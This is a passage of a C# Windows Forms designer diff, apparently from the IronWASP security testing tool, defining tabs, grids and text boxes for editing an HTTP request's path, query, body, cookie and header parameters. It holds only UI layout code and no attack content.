System.Windows.Forms.DockStyle.Fill; + this.BodyTBP.Location = new System.Drawing.Point(0, 0); + this.BodyTBP.Margin = new System.Windows.Forms.Padding(0); + this.BodyTBP.Name = "BodyTBP"; + this.BodyTBP.ReadOnly = false; + this.BodyTBP.Size = new System.Drawing.Size(674, 162); + this.BodyTBP.TabIndex = 0; + this.BodyTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.BodyTBP_ValueChanged); + // + // UrlPathPartsParametersTab + // + this.UrlPathPartsParametersTab.Controls.Add(this.UrlPathPartsEmptyLbl); + this.UrlPathPartsParametersTab.Controls.Add(this.UrlPathPartsParametersGrid); + this.UrlPathPartsParametersTab.Location = new System.Drawing.Point(4, 22); + this.UrlPathPartsParametersTab.Name = "UrlPathPartsParametersTab"; + this.UrlPathPartsParametersTab.Size = new System.Drawing.Size(674, 162); + this.UrlPathPartsParametersTab.TabIndex = 6; + this.UrlPathPartsParametersTab.Text = " Url Path Parts "; + this.UrlPathPartsParametersTab.UseVisualStyleBackColor = true; + // + // UrlPathPartsEmptyLbl + // + this.UrlPathPartsEmptyLbl.AutoSize = true; + this.UrlPathPartsEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.UrlPathPartsEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.UrlPathPartsEmptyLbl.Location = new System.Drawing.Point(3, 23); + this.UrlPathPartsEmptyLbl.Name = "UrlPathPartsEmptyLbl"; + this.UrlPathPartsEmptyLbl.Size = new System.Drawing.Size(416, 24); + this.UrlPathPartsEmptyLbl.TabIndex = 2; + this.UrlPathPartsEmptyLbl.Text = "This Request does not contain any Url Path Parts"; + this.UrlPathPartsEmptyLbl.Visible = false; + // + // UrlPathPartsParametersGrid + // + this.UrlPathPartsParametersGrid.AllowUserToAddRows = false; + this.UrlPathPartsParametersGrid.AllowUserToDeleteRows = false; + this.UrlPathPartsParametersGrid.AllowUserToResizeRows = false; + this.UrlPathPartsParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.UrlPathPartsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.UrlPathPartsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.UrlPathPartsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn1, + this.dataGridViewTextBoxColumn2, + this.Column2}); + this.UrlPathPartsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.UrlPathPartsParametersGrid.GridColor = System.Drawing.Color.White; + this.UrlPathPartsParametersGrid.Location = new System.Drawing.Point(0, 0); + this.UrlPathPartsParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.UrlPathPartsParametersGrid.Name = "UrlPathPartsParametersGrid"; + this.UrlPathPartsParametersGrid.RowHeadersVisible = false; + this.UrlPathPartsParametersGrid.Size = new System.Drawing.Size(674, 162); + this.UrlPathPartsParametersGrid.TabIndex = 1; + this.UrlPathPartsParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.UrlPathPartsParametersGrid_CellClick); + this.UrlPathPartsParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.UrlPathPartsParametersGrid_CellValueChanged); + // + // dataGridViewTextBoxColumn1 + // + this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn1.HeaderText = "POSITION"; + this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; + this.dataGridViewTextBoxColumn1.ReadOnly = true; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn2.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column2.HeaderText = ""; + this.Column2.MinimumWidth = 20; + this.Column2.Name = "Column2"; + this.Column2.Width = 20; + // + // QueryParametersTab + // + this.QueryParametersTab.Controls.Add(this.QueryParamEmptyLbl); + this.QueryParametersTab.Controls.Add(this.QueryParametersGrid); + this.QueryParametersTab.Location = new System.Drawing.Point(4, 22); + this.QueryParametersTab.Name = "QueryParametersTab"; + this.QueryParametersTab.Size = new System.Drawing.Size(674, 162); + this.QueryParametersTab.TabIndex = 7; + this.QueryParametersTab.Text = " Query "; + this.QueryParametersTab.UseVisualStyleBackColor = true; + // + // QueryParamEmptyLbl + // + this.QueryParamEmptyLbl.AutoSize = true; + this.QueryParamEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.QueryParamEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.QueryParamEmptyLbl.Location = new System.Drawing.Point(3, 26); + this.QueryParamEmptyLbl.Name = "QueryParamEmptyLbl"; + this.QueryParamEmptyLbl.Size = new System.Drawing.Size(456, 24); + this.QueryParamEmptyLbl.TabIndex = 3; + this.QueryParamEmptyLbl.Text = "This Request does not contain any Query parameters"; + this.QueryParamEmptyLbl.Visible = false; + // + // QueryParametersGrid + // + this.QueryParametersGrid.AllowUserToAddRows = false; + this.QueryParametersGrid.AllowUserToDeleteRows = false; + this.QueryParametersGrid.AllowUserToResizeRows = false; + this.QueryParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.QueryParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.QueryParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.QueryParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn7, + this.dataGridViewTextBoxColumn8, + this.dataGridViewImageColumn1}); + this.QueryParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.QueryParametersGrid.GridColor = System.Drawing.Color.White; + this.QueryParametersGrid.Location = new System.Drawing.Point(0, 0); + this.QueryParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.QueryParametersGrid.Name = "QueryParametersGrid"; + this.QueryParametersGrid.RowHeadersVisible = false; + this.QueryParametersGrid.Size = new System.Drawing.Size(674, 162); + this.QueryParametersGrid.TabIndex = 0; + this.QueryParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.QueryParametersGrid_CellClick); + this.QueryParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.QueryParametersGrid_CellValueChanged); + // + // dataGridViewTextBoxColumn7 + // + this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn7.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; + this.dataGridViewTextBoxColumn7.ReadOnly = true; + // + // dataGridViewTextBoxColumn8 + // + this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn8.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; + // + // dataGridViewImageColumn1 + // + this.dataGridViewImageColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewImageColumn1.HeaderText = ""; + this.dataGridViewImageColumn1.MinimumWidth = 20; + this.dataGridViewImageColumn1.Name = "dataGridViewImageColumn1"; + this.dataGridViewImageColumn1.Width = 20; + // + // BodyParametersTab + // + this.BodyParametersTab.Controls.Add(this.BodyParamEmptyLbl); + this.BodyParametersTab.Controls.Add(this.BodyParamsPanel); + this.BodyParametersTab.Location = new System.Drawing.Point(4, 22); + this.BodyParametersTab.Name = "BodyParametersTab"; + this.BodyParametersTab.Size = new System.Drawing.Size(674, 162); + this.BodyParametersTab.TabIndex = 4; + this.BodyParametersTab.Text = " Body "; + this.BodyParametersTab.UseVisualStyleBackColor = true; + // + // BodyParamEmptyLbl + // + this.BodyParamEmptyLbl.AutoSize = true; + this.BodyParamEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyParamEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.BodyParamEmptyLbl.Location = new System.Drawing.Point(8, 35); + this.BodyParamEmptyLbl.Name = "BodyParamEmptyLbl"; + this.BodyParamEmptyLbl.Size = new System.Drawing.Size(447, 24); + this.BodyParamEmptyLbl.TabIndex = 11; + this.BodyParamEmptyLbl.Text = "This Request does not contain any Body parameters"; + this.BodyParamEmptyLbl.Visible = false; + // + // BodyParamsPanel + // + this.BodyParamsPanel.Controls.Add(this.BodyTabSplit); + this.BodyParamsPanel.Controls.Add(this.BodyFormatLbl); + this.BodyParamsPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyParamsPanel.Location = new System.Drawing.Point(0, 0); + this.BodyParamsPanel.Margin = new System.Windows.Forms.Padding(0); + this.BodyParamsPanel.Name = "BodyParamsPanel"; + this.BodyParamsPanel.Size = new System.Drawing.Size(674, 162); + this.BodyParamsPanel.TabIndex = 10; + // + // BodyTabSplit + // + this.BodyTabSplit.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.BodyTabSplit.Location = new System.Drawing.Point(0, 17); + this.BodyTabSplit.Margin = new System.Windows.Forms.Padding(0); + this.BodyTabSplit.Name = "BodyTabSplit"; + // + // BodyTabSplit.Panel1 + // + this.BodyTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); + // + // BodyTabSplit.Panel2 + // + this.BodyTabSplit.Panel2.Controls.Add(this.ScanBodyTabs); + this.BodyTabSplit.Size = new System.Drawing.Size(673, 143); + this.BodyTabSplit.SplitterDistance = 101; + this.BodyTabSplit.SplitterWidth = 2; + this.BodyTabSplit.TabIndex = 0; + // + // FormatPluginsGrid + // + this.FormatPluginsGrid.AllowUserToAddRows = false; + this.FormatPluginsGrid.AllowUserToDeleteRows = false; + this.FormatPluginsGrid.AllowUserToResizeRows = false; + this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.FormatPluginSelectColumn, + this.FormatPluginNameColumn}); + this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; + this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); + this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.FormatPluginsGrid.MultiSelect = false; + this.FormatPluginsGrid.Name = "FormatPluginsGrid"; + this.FormatPluginsGrid.RowHeadersVisible = false; + this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FormatPluginsGrid.Size = new System.Drawing.Size(101, 143); + this.FormatPluginsGrid.TabIndex = 0; + this.FormatPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatPluginsGrid_CellClick); + // + // FormatPluginSelectColumn + // + this.FormatPluginSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.FormatPluginSelectColumn.HeaderText = ""; + this.FormatPluginSelectColumn.MinimumWidth = 20; + this.FormatPluginSelectColumn.Name = "FormatPluginSelectColumn"; + this.FormatPluginSelectColumn.Width = 20; + // + // FormatPluginNameColumn + // + this.FormatPluginNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.FormatPluginNameColumn.HeaderText = "Body Format"; + this.FormatPluginNameColumn.Name = "FormatPluginNameColumn"; + this.FormatPluginNameColumn.ReadOnly = true; + this.FormatPluginNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanBodyTabs + // + this.ScanBodyTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); + this.ScanBodyTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); + this.ScanBodyTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanBodyTabs.Location = new System.Drawing.Point(0, 0); + this.ScanBodyTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanBodyTabs.Multiline = true; + this.ScanBodyTabs.Name = "ScanBodyTabs"; + this.ScanBodyTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanBodyTabs.SelectedIndex = 0; + this.ScanBodyTabs.Size = new System.Drawing.Size(570, 143); + this.ScanBodyTabs.TabIndex = 0; + this.ScanBodyTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ScanBodyTabs_Selecting); + // + // BodyTypeFormatPluginInjectionArrayGridTab + // + this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyParametersGrid); + this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; + this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(562, 117); + this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; + this.BodyTypeFormatPluginInjectionArrayGridTab.Text = " Name/Value "; + this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; + // + // BodyParametersGrid + // + this.BodyParametersGrid.AllowUserToAddRows = false; + this.BodyParametersGrid.AllowUserToDeleteRows = false; + this.BodyParametersGrid.AllowUserToResizeRows = false; + this.BodyParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.BodyParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.BodyParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.BodyParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn3, + this.dataGridViewTextBoxColumn4, + this.Column1, + this.Column3}); + this.BodyParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyParametersGrid.GridColor = System.Drawing.Color.White; + this.BodyParametersGrid.Location = new System.Drawing.Point(0, 0); + this.BodyParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.BodyParametersGrid.Name = "BodyParametersGrid"; + this.BodyParametersGrid.RowHeadersVisible = false; + this.BodyParametersGrid.Size = new System.Drawing.Size(562, 117); + this.BodyParametersGrid.TabIndex = 2; + this.BodyParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyParametersGrid_CellClick); + this.BodyParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyParametersGrid_CellValueChanged); + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn3.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn4.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column1.HeaderText = " "; + this.Column1.MinimumWidth = 20; + this.Column1.Name = "Column1"; + this.Column1.Width = 20; + // + // Column3 + // + this.Column3.HeaderText = "EncodedValue"; + this.Column3.Name = "Column3"; + this.Column3.Visible = false; + // + // BodyTypeFormatPluginXMLTab + // + this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXmlBaseSplit); + this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; + this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(192, 74); + this.BodyTypeFormatPluginXMLTab.TabIndex = 1; + this.BodyTypeFormatPluginXMLTab.Text = " - "; + this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; + // + // FormatXmlBaseSplit + // + this.FormatXmlBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatXmlBaseSplit.Location = new System.Drawing.Point(0, 0); + this.FormatXmlBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.FormatXmlBaseSplit.Name = "FormatXmlBaseSplit"; + // + // FormatXmlBaseSplit.Panel1 + // + this.FormatXmlBaseSplit.Panel1.Controls.Add(this.textBox2); + this.FormatXmlBaseSplit.Panel1.Controls.Add(this.ConvertXmlToObjectBtn); + // + // FormatXmlBaseSplit.Panel2 + // + this.FormatXmlBaseSplit.Panel2.Controls.Add(this.FormatXmlTBP); + this.FormatXmlBaseSplit.Size = new System.Drawing.Size(192, 74); + this.FormatXmlBaseSplit.SplitterDistance = 36; + this.FormatXmlBaseSplit.SplitterWidth = 2; + this.FormatXmlBaseSplit.TabIndex = 5; + // + // textBox2 + // + this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox2.Dock = System.Windows.Forms.DockStyle.Bottom; + this.textBox2.Location = new System.Drawing.Point(0, 7); + this.textBox2.Multiline = true; + this.textBox2.Name = "textBox2"; + this.textBox2.Size = new System.Drawing.Size(36, 67); + this.textBox2.TabIndex = 5; + this.textBox2.TabStop = false; + this.textBox2.Text = "You can edit this XML & update the changes to the Request body by clicking the ab" + + "ove button"; + // + // ConvertXmlToObjectBtn + // + this.ConvertXmlToObjectBtn.Dock = System.Windows.Forms.DockStyle.Top; + this.ConvertXmlToObjectBtn.Location = new System.Drawing.Point(0, 0); + this.ConvertXmlToObjectBtn.Name = "ConvertXmlToObjectBtn"; + this.ConvertXmlToObjectBtn.Size = new System.Drawing.Size(36, 41); + this.ConvertXmlToObjectBtn.TabIndex = 3; + this.ConvertXmlToObjectBtn.Text = "Convert this XML to object"; + this.ConvertXmlToObjectBtn.UseVisualStyleBackColor = true; + this.ConvertXmlToObjectBtn.Click += new System.EventHandler(this.ConvertXmlToObjectBtn_Click); + // + // FormatXmlTBP + // + this.FormatXmlTBP.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatXmlTBP.Location = new System.Drawing.Point(0, 0); + this.FormatXmlTBP.Name = "FormatXmlTBP"; + this.FormatXmlTBP.ReadOnly = false; + this.FormatXmlTBP.Size = new System.Drawing.Size(154, 74); + this.FormatXmlTBP.TabIndex = 4; + this.FormatXmlTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.FormatXmlTBP_ValueChanged); + // + // BodyFormatLbl + // + this.BodyFormatLbl.AutoSize = true; + this.BodyFormatLbl.Location = new System.Drawing.Point(2, 3); + this.BodyFormatLbl.Name = "BodyFormatLbl"; + this.BodyFormatLbl.Size = new System.Drawing.Size(130, 13); + this.BodyFormatLbl.TabIndex = 9; + this.BodyFormatLbl.TabStop = true; + this.BodyFormatLbl.Text = "Hide Body Format Options"; + this.BodyFormatLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.BodyFormatLbl_LinkClicked); + // + // CookieParametersTab + // + this.CookieParametersTab.Controls.Add(this.CookieParamEmptyLbl); + this.CookieParametersTab.Controls.Add(this.CookieParametersGrid); + this.CookieParametersTab.Location = new System.Drawing.Point(4, 22); + this.CookieParametersTab.Name = "CookieParametersTab"; + this.CookieParametersTab.Size = new System.Drawing.Size(674, 162); + this.CookieParametersTab.TabIndex = 8; + this.CookieParametersTab.Text = " Cookie "; + this.CookieParametersTab.UseVisualStyleBackColor = true; + // + // CookieParamEmptyLbl + // + this.CookieParamEmptyLbl.AutoSize = true; + this.CookieParamEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CookieParamEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.CookieParamEmptyLbl.Location = new System.Drawing.Point(3, 29); + this.CookieParamEmptyLbl.Name = "CookieParamEmptyLbl"; + this.CookieParamEmptyLbl.Size = new System.Drawing.Size(463, 24); + this.CookieParamEmptyLbl.TabIndex = 12; + this.CookieParamEmptyLbl.Text = "This Request does not contain any Cookie parameters"; + this.CookieParamEmptyLbl.Visible = false; + // + // CookieParametersGrid + // + this.CookieParametersGrid.AllowUserToAddRows = false; + this.CookieParametersGrid.AllowUserToDeleteRows = false; + this.CookieParametersGrid.AllowUserToResizeRows = false; + this.CookieParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.CookieParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CookieParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.CookieParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn11, + this.dataGridViewTextBoxColumn12, + this.dataGridViewImageColumn2}); + this.CookieParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CookieParametersGrid.GridColor = System.Drawing.Color.White; + this.CookieParametersGrid.Location = new System.Drawing.Point(0, 0); + this.CookieParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.CookieParametersGrid.Name = "CookieParametersGrid"; + this.CookieParametersGrid.RowHeadersVisible = false; + this.CookieParametersGrid.Size = new System.Drawing.Size(674, 162); + this.CookieParametersGrid.TabIndex = 1; + this.CookieParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CookieParametersGrid_CellClick); + this.CookieParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.CookieParametersGrid_CellValueChanged); + // + // dataGridViewTextBoxColumn11 + // + this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn11.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; + this.dataGridViewTextBoxColumn11.ReadOnly = true; + // + // dataGridViewTextBoxColumn12 + // + this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn12.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; + // + // dataGridViewImageColumn2 + // + this.dataGridViewImageColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewImageColumn2.HeaderText = ""; + this.dataGridViewImageColumn2.MinimumWidth = 20; + this.dataGridViewImageColumn2.Name = "dataGridViewImageColumn2"; + this.dataGridViewImageColumn2.Width = 20; + // + // HeadersParametersTab + // + this.HeadersParametersTab.Controls.Add(this.HeaderParamEmptyLbl); + this.HeadersParametersTab.Controls.Add(this.HeadersParametersGrid); + this.HeadersParametersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersParametersTab.Name = "HeadersParametersTab"; + this.HeadersParametersTab.Size = new System.Drawing.Size(674, 162); + this.HeadersParametersTab.TabIndex = 9; + this.HeadersParametersTab.Text = " Headers "; + this.HeadersParametersTab.UseVisualStyleBackColor = true; + // + // HeaderParamEmptyLbl + // + this.HeaderParamEmptyLbl.AutoSize = true; + this.HeaderParamEmptyLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.HeaderParamEmptyLbl.ForeColor = System.Drawing.Color.Blue; + this.HeaderParamEmptyLbl.Location = new System.Drawing.Point(3, 27); + this.HeaderParamEmptyLbl.Name = "HeaderParamEmptyLbl"; + this.HeaderParamEmptyLbl.Size = new System.Drawing.Size(463, 24); + this.HeaderParamEmptyLbl.TabIndex = 13; + this.HeaderParamEmptyLbl.Text = "This Request does not contain any Cookie parameters"; + this.HeaderParamEmptyLbl.Visible = false; + // + // HeadersParametersGrid + // + this.HeadersParametersGrid.AllowUserToAddRows = false; + this.HeadersParametersGrid.AllowUserToDeleteRows = false; + this.HeadersParametersGrid.AllowUserToResizeRows = false; + this.HeadersParametersGrid.BackgroundColor = System.Drawing.Color.White; + this.HeadersParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HeadersParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.HeadersParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn13, + this.dataGridViewTextBoxColumn14, + this.dataGridViewImageColumn3}); + this.HeadersParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.HeadersParametersGrid.GridColor = System.Drawing.Color.White; + this.HeadersParametersGrid.Location = new System.Drawing.Point(0, 0); + this.HeadersParametersGrid.Margin = new System.Windows.Forms.Padding(0); + this.HeadersParametersGrid.Name = "HeadersParametersGrid"; + this.HeadersParametersGrid.RowHeadersVisible = false; + this.HeadersParametersGrid.Size = new System.Drawing.Size(674, 162); + this.HeadersParametersGrid.TabIndex = 1; + this.HeadersParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HeadersParametersGrid_CellClick); + this.HeadersParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.HeadersParametersGrid_CellValueChanged); + // + // dataGridViewTextBoxColumn13 + // + this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn13.HeaderText = "NAME"; + this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; + this.dataGridViewTextBoxColumn13.ReadOnly = true; + // + // dataGridViewTextBoxColumn14 + // + this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn14.HeaderText = "VALUE"; + this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; + // + // dataGridViewImageColumn3 + // + this.dataGridViewImageColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewImageColumn3.HeaderText = ""; + this.dataGridViewImageColumn3.MinimumWidth = 20; + this.dataGridViewImageColumn3.Name = "dataGridViewImageColumn3"; + this.dataGridViewImageColumn3.Width = 20; + // + // HelpTab + // + this.HelpTab.Controls.Add(this.HelpTB); + this.HelpTab.Location = new System.Drawing.Point(4, 22); + this.HelpTab.Name = "HelpTab"; + this.HelpTab.Size = new System.Drawing.Size(192, 74); + this.HelpTab.TabIndex = 5; + this.HelpTab.Text = " Help "; + this.HelpTab.UseVisualStyleBackColor = true; + // + // HelpTB + // + this.HelpTB.BackColor = System.Drawing.Color.White; + this.HelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.HelpTB.Location = new System.Drawing.Point(0, 0); + this.HelpTB.Multiline = true; + this.HelpTB.Name = "HelpTB"; + this.HelpTB.ReadOnly = true; + this.HelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.HelpTB.Size = new System.Drawing.Size(192, 74); + this.HelpTB.TabIndex = 0; + this.HelpTB.TabStop = false; + this.HelpTB.Text = resources.GetString("HelpTB.Text"); + // + // EditingTab + // + this.EditingTab.Controls.Add(this.SaveEditsLbl); + this.EditingTab.Controls.Add(this.EditTBP); + this.EditingTab.Location = new System.Drawing.Point(4, 22); + this.EditingTab.Name = "EditingTab"; + this.EditingTab.Size = new System.Drawing.Size(192, 74); + this.EditingTab.TabIndex = 10; + this.EditingTab.Text = " "; + this.EditingTab.UseVisualStyleBackColor = true; + // + // SaveEditsLbl + // + this.SaveEditsLbl.AutoSize = true; + this.SaveEditsLbl.Location = new System.Drawing.Point(4, 2); + this.SaveEditsLbl.Name = "SaveEditsLbl"; + this.SaveEditsLbl.Size = new System.Drawing.Size(77, 13); + this.SaveEditsLbl.TabIndex = 10; + this.SaveEditsLbl.TabStop = true; + this.SaveEditsLbl.Text = "Save Changes"; + this.SaveEditsLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveEditsLbl_LinkClicked); + // + // EditTBP + // + this.EditTBP.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | 